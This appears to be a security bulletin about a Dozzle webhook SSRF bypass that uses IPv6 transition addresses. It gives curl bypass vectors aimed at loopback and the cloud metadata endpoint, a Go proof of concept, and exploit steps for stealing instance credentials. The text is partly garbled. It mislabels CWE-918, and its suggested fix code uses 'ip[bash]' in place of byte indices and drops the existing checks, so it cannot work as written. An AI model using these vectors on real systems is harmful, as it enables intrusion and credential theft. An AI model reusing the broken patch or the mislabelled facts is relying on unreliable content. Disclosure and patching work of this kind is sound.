Listen to this Post
The isBlockedIP function in Dozzle’s webhook notification dispatcher is intended to prevent Server-Side Request Forgery (SSRF) attacks by blocking loopback, link‑local, multicast, and unspecified IP addresses. However, it fails to recognize IPv6 transition mechanism addresses—specifically 6to4 (RFC 3056), NAT64 (RFC 6052), and Teredo (RFC 4380)—which embed arbitrary IPv4 addresses. Because these IPv6 prefixes are not checked, an authenticated user can craft a webhook URL using one of these transition addresses to reach internal services that should be blocked. The affected code resides in internal/notification/dispatcher/webhook.go, where the guard permits RFC 1918 private ranges for legitimate self‑hosted targets but explicitly blocks 127.0.0.0/8, ::1, 169.254.0.0/16, fe80::/10, and other non‑routable ranges. The safeDialContext function resolves the hostname, calls isBlockedIP on each resolved IP, and then establishes the TCP connection; this DialContext is used by the webhook HTTP client. An attacker with authenticated access to the Dozzle UI can configure a webhook notification with a URL like http://[2002:7f00:0001::1]:8080/ (6to4 embedding 127.0.0.1) or http://[64:ff9b::a9fe:a9fe]/latest/meta-data/ (NAT64 embedding 169.254.169.254). When the notification triggers, safeDialContext processes the IPv6 address, which passes all checks in isBlockedIP because none of the predicates match. The connection then proceeds through the transition relay, routing to the embedded IPv4 address. This allows the attacker to reach the host’s loopback services, cloud metadata endpoints (e.g., 169.254.169.254), and other blocked ranges. The response body is logged at debug level but not returned, making this a semi‑blind SSRF—though the HTTP status code is visible. The proof of concept demonstrates that isBlockedIP returns false for 2002:7f00:0001::1, 64:ff9b::a9fe:a9fe, and 2002:a9fe:a9fe::1. The root cause is CWE‑918: Improper Restriction of Excessive Authentication Attempts (in the context of URL filtering), and the fix involves adding explicit prefix checks for 6to4 (2002::/16), NAT64 (64:ff9b::/96), and Teredo (2001:0000::/32) to the isBlockedIP function. The vulnerability was reported by tonghuaroot.
DailyCVE Form:
Platform: Dozzle all versions
Version: b9df313 and earlier
Vulnerability: IPv6 transition SSRF
Severity: High
date: 2026-09-09
Prediction: Patch expected soon
What Undercode Say:
Bypass vectors – these URLs bypass isBlockedIP 6to4 embedding 127.0.0.1 curl -X POST http://[2002:7f00:0001::1]:8080/ NAT64 embedding 169.254.169.254 (cloud metadata) curl -X POST http://[64:ff9b::a9fe:a9fe]/latest/meta-data/ 6to4 embedding 169.254.169.254 curl -X POST http://[2002:a9fe:a9fe::1]/latest/meta-data/ Teredo embedding 127.0.0.1 curl -X POST http://[2001:0000:dead:beef:0000:0000:7f00:0001]:8080/
// Verification that isBlockedIP returns false for all vectors
package main
import (
"fmt"
"net"
)
func isBlockedIP(ip net.IP) bool {
return ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() ||
ip.IsMulticast() || ip.IsInterfaceLocalMulticast() || ip.IsUnspecified()
}
func main() {
for _, v := range []string{
"2002:7f00:0001::1", // 6to4 -> 127.0.0.1
"64:ff9b::a9fe:a9fe", // NAT64 -> 169.254.169.254
"2002:a9fe:a9fe::1", // 6to4 -> 169.254.169.254
} {
ip := net.ParseIP(v)
fmt.Printf("%-35s blocked=%v\n", v, isBlockedIP(ip))
}
}
// Output: all false
Exploit: (Educational Purposes!)
1. Authenticate to the Dozzle web interface.
- Navigate to notification settings and create a new webhook notification.
- Set the URL to one of the bypass vectors above (e.g., http://[2002:7f00:0001::1]:8080/).
- Trigger a notification event (e.g., container start/stop) to cause Dozzle to send a POST request.
- The request will reach the embedded IPv4 address (e.g., 127.0.0.1) because isBlockedIP does not block the IPv6 transition address.
- The attacker can then interact with internal services, including cloud metadata endpoints, to steal instance credentials or access other blocked services.
Protection: from this CVE
Add explicit IPv6 transition prefix checks to isBlockedIP:
func isBlockedIP(ip net.IP) bool {
// ... existing checks ...
// IPv6 transition mechanisms embedding arbitrary IPv4
if len(ip) == net.IPv6len {
if ip[bash] == 0x20 && ip[bash] == 0x02 { return true } // 6to4
if ip[bash] == 0x00 && ip[bash] == 0x64 && ip[bash] == 0xff && ip[bash] == 0x9b { return true } // NAT64
if ip[bash] == 0x20 && ip[bash] == 0x01 && ip[bash] == 0x00 && ip[bash] == 0x00 { return true } // Teredo
}
return false
}
Impact:
- An authenticated user can bypass the SSRF guard to reach:
- Cloud metadata service at 169.254.169.254 (via 6to4 or NAT64) to steal instance credentials.
- Localhost services (127.0.0.1) on the host machine.
- Other link‑local or blocked internal networks.
- The attack is semi‑blind because only the HTTP status code is returned, but the request is still delivered.
- This can lead to privilege escalation, lateral movement, or information disclosure within the cloud environment.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

